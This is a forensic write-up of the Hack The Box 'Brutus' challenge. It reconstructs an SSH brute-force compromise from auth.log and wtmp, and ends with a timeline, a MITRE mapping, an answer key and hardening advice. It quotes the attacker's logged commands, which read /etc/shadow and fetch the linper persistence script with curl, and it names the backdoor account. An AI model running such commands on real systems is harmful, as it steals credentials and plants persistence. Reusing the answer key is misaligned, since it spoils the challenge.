HTB SHERLOCK

Brutus

Category	DFIR, Linux log analysis
Difficulty	Very Easy
Artifacts	`auth.log`, `wtmp`, `utmp.py`
Tools	`7z`, `grep`, `sed`, `sort`, `uniq`, `utmpdump`
Author	M3RICK

1 Summary

A Linux server hosting Confluence was compromised through an SSH brute-force attack against the `root` account. The attacker recovered the root password in nine seconds, logged in manually, created a local account with sudo privileges as a backdoor, then reconnected with that account to read `/etc/shadow` and retrieve a Linux persistence toolkit. At the end of the provided logs, the backdoor session is still open.

The analysis relies exclusively on the two artifacts provided: the authentication log (`auth.log`) and the login records (`wtmp`).

Item	Finding
Attacker IP	`65.2.161.68`
Initial access	SSH password brute-force, `root` account
Time to compromise	9 seconds (06:31:31 to 06:31:40 UTC)
Persistence	Local account `cyberjunkie`, member of `sudo`
Post-compromise	`/etc/shadow` read, `linper` persistence script retrieved
Status at end of logs	Backdoor session 49 still open

2 Artifact Preparation

The archive is AES-encrypted. The standard `unzip` utility does not support AES and silently skipped the two encrypted entries, extracting only `utmp.py`:

```
$ unzip -l Brutus.zip
   43911  2024-03-06 11:47   auth.log
   11136  2024-03-06 11:47   wtmp
    3154  2025-04-30 17:51   utmp.py

$ file Brutus.zip
Brutus.zip: Zip archive data, ... method=AES Encrypted
```

The archive was extracted with `7z x Brutus.zip`.

3 Analysis

3.1 Log Structure and Noise Reduction

Each `auth.log` entry follows the syslog format `date hostname process[PID]: message`. The process field identifies the component that wrote the entry. A breakdown by process shows where the volume comes from:

```
$ awk '{sub(/\[.*/,"",$5); print $5}' auth.log | sort | uniq -c
    104 CRON
    257 sshd
      8 systemd-logind
      6 sudo:
      3 groupadd
      2 usermod
      2 systemd:
```

```
      1 useradd
      1 passwd
      1 chfn
```

`CRON` entries correspond to scheduled tasks opening and closing sessions at the start of each minute, and are not related to user activity. Remote access is recorded by `sshd`, which is the focus of the analysis. The account `confluence` (uid 998) appearing in the cron entries indicates the service hosted on the server.

3.2 Identification of the Brute-Force

Failed authentications originate from a single address:

```
$ grep "Failed password" auth.log
Mar  6 06:31:42 ip-172-31-35-28 sshd[2424]: Failed password for backup from 65.2.161.68 port
34856 ssh2
```

A single failure is not sufficient to characterise an attack, since a mistyped password produces the same entry. The brute-force is established by the following indicators:

Indicator	Value
Log entries mentioning the address	214
`Failed password` entries	48
Activity window	06:31:31 to 06:31:42 (11 seconds)
Accounts targeted	5, of which 3 do not exist on the system
Connections refused (`MaxStartups`)	3

The difference between 214 entries and 48 failures is explained by the fact that a single attempt generates several entries (`Invalid user`, `pam_unix(sshd:auth): authentication failure`, `Failed password`, `Received disconnect`, `Disconnected`).

Failures per targeted account:

```
$ grep "Failed password" auth.log | grep 65.2.161.68 \
    | sed -E 's/.*Failed password for (invalid user )?([^ ]+).*/\2/' | sort | uniq -c
     10 admin
      9 backup
      6 root
     12 server_adm
     11 svc_account
```

The accounts `admin`, `server_adm` and `svc_account` are reported as `Invalid user`. Targeting generic account names that do not exist on the host is consistent with a wordlist rather than prior knowledge of the system.

Several dozen `sshd` processes (PIDs 2325 to 2357) are created within the same second, and the server begins rejecting connections:

```
sshd[620]: drop connection #10 from [65.2.161.68]:46482 on [172.31.35.28]:22 past MaxStartups
```

`MaxStartups` limits the number of concurrent unauthenticated connections. Reaching this limit indicates parallel connections, which confirms the use of an automated tool.

3.3 Successful Authentications

```
$ grep "Accepted" auth.log
06:19:54 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
06:31:40 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
06:32:44 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
06:37:34 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2
```

06:19:54, 203.101.190.9. This login predates the brute-force by twelve minutes and comes from a different address. `wtmp` shows the same address logging in as `ubuntu` and `root` since January 2024. It is attributed to the legitimate administrator.

06:31:40, 65.2.161.68. All entries of an SSH connection share the same `sshd` PID, which allows a single connection to be followed:

```
$ grep "sshd\[2411\]" auth.log
06:31:40 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
06:31:40 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
06:31:40 sshd[2411]: Received disconnect from 65.2.161.68 port 34782:11: Bye Bye
06:31:40 sshd[2411]: Disconnected from user root 65.2.161.68 port 34782
06:31:40 sshd[2411]: pam_unix(sshd:session): session closed for user root
```

The session is opened and closed within the same second. This behaviour corresponds to the brute-force tool validating the credential and disconnecting. Failures for `root` are still logged at 06:31:41 on PIDs 2399, 2407 and 2409: these are parallel connections opened before the success and completing afterwards.

06:32:44, 65.2.161.68. One minute later, the attacker authenticates manually with the recovered password. This session lasts approximately five minutes.

3.4 Session Tracking

`systemd-logind` assigns a number to each session:

```
$ grep "New session" auth.log
06:19:54 systemd-logind[411]: New session 6 of user root.
06:31:40 systemd-logind[411]: New session 34 of user root.
06:32:44 systemd-logind[411]: New session 37 of user root.
06:37:34 systemd-logind[411]: New session 49 of user cyberjunkie.
```

The attacker's manual session is session 37.

`auth.log` records the time of authentication, whereas `wtmp` records the opening of the interactive terminal. `wtmp` is a binary file and was parsed with `utmpdump`, forcing UTC output:

```
$ TZ=UTC utmpdump wtmp
[7] [01284] [ts/0] [ubuntu     ] [pts/0] [203.101.190.9] [2024-01-25T11:13:58,354674+00:00]
[7] [01483] [ts/0] [root       ] [pts/0] [203.101.190.9] [2024-01-25T11:15:40,806926+00:00]
...
[7] [01583] [ts/0] [root       ] [pts/0] [203.101.190.9] [2024-03-06T06:19:55,151913+00:00]
[7] [02549] [ts/1] [root       ] [pts/1] [65.2.161.68  ] [2024-03-06T06:32:45,387923+00:00]
[8] [02491] [    ] [           ] [pts/1] [             ] [2024-03-06T06:37:24,590579+00:00]
[7] [02667] [ts/1] [cyberjunkie] [pts/1] [65.2.161.68  ] [2024-03-06T06:37:35,475575+00:00]
```

Record type 7 is a user login and type 8 a process termination. The terminal was opened at 06:32:45, one second after authentication. `wtmp` also provides the year, which `auth.log` does not record.

3.5 Persistence

During the root session, account management utilities were executed:

```
$ grep -E "useradd|groupadd|usermod|passwd|chfn" auth.log
06:34:18 groupadd[2586]: new group: name=cyberjunkie, GID=1002
06:34:18 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002,
         home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
06:34:26 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie
06:34:31 chfn[2605]: changed user 'cyberjunkie' information
06:35:15 usermod[2628]: add 'cyberjunkie' to group 'sudo'
06:35:15 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
```

The field `from=/dev/pts/1` matches the pseudo-terminal of session 37, which shows the commands were entered interactively. The account `cyberjunkie` (UID 1002) is not privileged by itself, but its membership in `sudo` allows it to execute any command as root. This provides access independent of the root password, which may be changed once the intrusion is detected. The technique corresponds to MITRE ATT&CK T1136.001 (Create Account: Local Account).

The root session then ends, as confirmed by two independent entries:

```
$ grep -E "sshd\[2491\]|Removed session 37" auth.log
06:37:24 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
06:37:24 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
06:37:24 sshd[2491]: pam_unix(sshd:session): session closed for user root
06:37:24 systemd-logind[411]: Removed session 37.
```

The attacker reconnects ten seconds later using the backdoor account (session 49).

3.6 Post-Compromise Activity

`sudo` logs every command with its full arguments:

```
$ grep COMMAND auth.log
06:37:57 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ;
         COMMAND=/usr/bin/cat /etc/shadow
06:39:38 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ;
         COMMAND=/usr/bin/curl
         https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
```

Credential access. `/etc/shadow` contains the password hashes of all local accounts, which can be cracked offline and reused.

Persistence toolkit. `linper` (Linux Persistence Toolkit) enumerates and installs persistence mechanisms such as cron jobs, services, SSH keys and shell profiles. It should not be confused with `linpeas`, a privilege escalation enumeration script; the attacker already held root privileges at this stage.

> **Limitation.** `curl` was run without `-o` and without piping into a shell. As logged, the command only writes the script to standard output. The provided artifacts do not establish whether the script was saved or executed; this would require host artifacts such as shell history, crontabs, systemd units and the contents of `/tmp`.

3.7 Additional Observations

The following points are not covered by the Sherlock questions but are supported by the artifacts.

The backdoor session is still active. Session 49 (`sshd[2667]`) has no corresponding `Disconnected`, `session closed` or `Removed session` entry in `auth.log`, and no type 8 record in `wtmp`. The attacker was still connected when the logs were collected.

The administrator was connected throughout the attack. The legitimate session opened at 06:19:54 (`sshd[1465]`, session 6) is never closed in either artifact. The intrusion took place while an administrator was logged in as root on the same host.

The host is an AWS EC2 instance. The hostname `ip-172-31-35-28` follows the EC2 naming convention, `wtmp` reports the kernel `6.2.0-1018-aws`, and `auth.log` shows an EC2 Instance Connect key lookup before the administrator's login:

```
06:19:52 sshd[1465]: AuthorizedKeysCommand
         /usr/share/ec2-instance-connect/eic_run_authorized_keys
         root SHA256:4vycLs... failed, status 22
```

EC2 Linux images disable SSH password authentication by default. Password login for `root` was therefore enabled deliberately on this instance, which is the root cause of the compromise.

The host was rebooted shortly before the attack. `wtmp` records a reboot at 06:17:15, fourteen minutes before the brute-force began.

4 Timeline

All times are UTC on 2024-03-06.

Time	Source	Event
06:17:15	wtmp	Host reboot
06:19:54	auth.log	Administrator login as root from 203.101.190.9 (session 6)
06:31:31	auth.log	Start of the brute-force from 65.2.161.68
06:31:40	auth.log	Root password recovered, immediate disconnection (session 34)
06:31:42	auth.log	Last failed attempt
06:32:44	auth.log	Manual root authentication
06:32:45	wtmp	Interactive terminal opened (session 37, pts/1)
06:34:18	auth.log	Group and user `cyberjunkie` created
06:34:26	auth.log	Password set for `cyberjunkie`
06:35:15	auth.log	`cyberjunkie` added to `sudo`
06:37:24	auth.log	End of root session 37
06:37:34	auth.log	Login as `cyberjunkie` (session 49)
06:37:57	auth.log	`sudo cat /etc/shadow`
06:39:38	auth.log	`sudo curl` of `linper.sh`
06:41:01	auth.log	End of log, session 49 still open

5 MITRE ATT&CK Mapping

Technique	ID	Evidence
Brute Force: Password Guessing	T1110.001	48 failures in 11 s across 5 accounts
Valid Accounts: Local Accounts	T1078.003	Root login with the recovered password
Create Account: Local Account	T1136.001	`useradd cyberjunkie`
Account Manipulation	T1098	`usermod`, addition to `sudo`
OS Credential Dumping: /etc/passwd and /etc/shadow	T1003.008	`cat /etc/shadow`
Ingress Tool Transfer	T1105	`curl` of `linper.sh`

6 Task Answers

Task	Question	Answer
1	Attacker IP address	`65.2.161.68`
2	Account accessed through the brute-force	`root`
3	Manual login time (wtmp, UTC)	2024-03-06 06:32:45
4	Session number of the manual login	37
5	Backdoor account	`cyberjunkie`
6	MITRE sub-technique for account creation	T1136.001
7	End of the first SSH session	2024-03-06 06:37:24
8	Command executed with sudo	`/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh`

7 Recommendations

Containment

- Terminate session 49 and lock then remove the `cyberjunkie` account.
- Review membership of the `sudo` group and the contents of `/etc/sudoers` and `/etc/sudoers.d/`.
- Search for mechanisms installed by `linper`: crontabs, systemd units, `authorized_keys` files, shell profiles.
- Rotate every password whose hash was stored in `/etc/shadow`.

Hardening

- Disable SSH password authentication (`PasswordAuthentication no`) and direct root login (`PermitRootLogin no`).
- Restrict access to port 22 through the EC2 security group.
- Rate-limit or block repeated authentication failures (fail2ban or equivalent).

Monitoring

- Forward `auth.log` to a central log store outside the host.

- Alert on bursts of `Failed password` or `Invalid user` from a single source, on account creation and on additions to privileged groups.

8 Lessons Learned

- The 06:19 root login was initially attributed to the attacker. Attribution must rely on the source address and login history rather than on the account used.
- `linper` was initially read as `linpeas`. Tool names must be verified against their source, and the conclusion checked against context; privilege escalation enumeration made no sense for an attacker already holding root.
- Timestamps must be quoted with their source: `auth.log` and `wtmp` differ by one second for the same login.
- In a pipeline, only the first `grep` should receive the file. A filename given to a later command causes it to ignore its input.

8.1 Relation to evtx_timeline

The pattern analysed here is the one implemented by the `detect_bruteforce` rule of evtx_timeline for Windows event logs: a burst of failures above a threshold followed by a success. `Failed password` corresponds to event 4625 and `Accepted password` to event 4624. This analysis suggests grouping failures by source address as an improvement to the rule.